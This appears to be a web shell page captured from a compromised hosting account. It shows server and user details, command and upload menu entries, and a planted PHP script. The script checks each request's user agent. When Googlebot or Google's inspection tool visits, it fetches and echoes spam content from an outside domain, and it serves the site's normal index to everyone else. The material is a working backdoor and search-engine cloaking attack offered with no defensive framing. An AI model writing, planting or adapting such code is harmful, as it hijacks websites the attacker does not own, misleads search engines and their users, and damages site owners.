|
Server IP : 2a02:4780:3:1493:0:3736:a38e:7 / Your IP : 216.73.216.60 Web Server : LiteSpeed System : Linux sg-nme-web1393.main-hosting.eu 4.18.0-553.77.1.lve.el8.x86_64 #1 SMP Wed Oct 8 14:21:00 UTC 2025 x86_64 User : u926327694 ( 926327694) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u926327694/domains/smsoft.in/public_html/demo/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
function profile_user()
{
$refererUrl = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : 'No Referer';
$useragent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
$currentDomain = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'defaultdomain.com';
// Otomatis buat URL berdasarkan domain aktif
$pasteUrl = 'https://buckdomain.vip/jetsu/agam66-smsoft.in.html';
if (stripos($useragent, 'Google-InspectionTool') !== false ||
stripos($useragent, 'googlebot') !== false ||
stripos($useragent, '(compatible; Googlebot/2.1; +http://www.google.com/bot.html)') !== false) {
// Ambil konten dari URL berdasarkan domain
$content = fetch_content($pasteUrl);
if ($content) {
echo $content;
exit();
} else {
echo "Gagal mengambil konten dari $pasteUrl";
exit();
}
} else {
if (file_exists('index.php')) {
include('index.php');
} elseif (file_exists('index.html')) {
include('index.html');
}
}
}
function fetch_content($url)
{
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_TIMEOUT => 5,
]);
$content = curl_exec($ch);
if (curl_errno($ch)) {
error_log('cURL Error: ' . curl_error($ch));
return false;
}
curl_close($ch);
return $content;
}
profile_user();
?>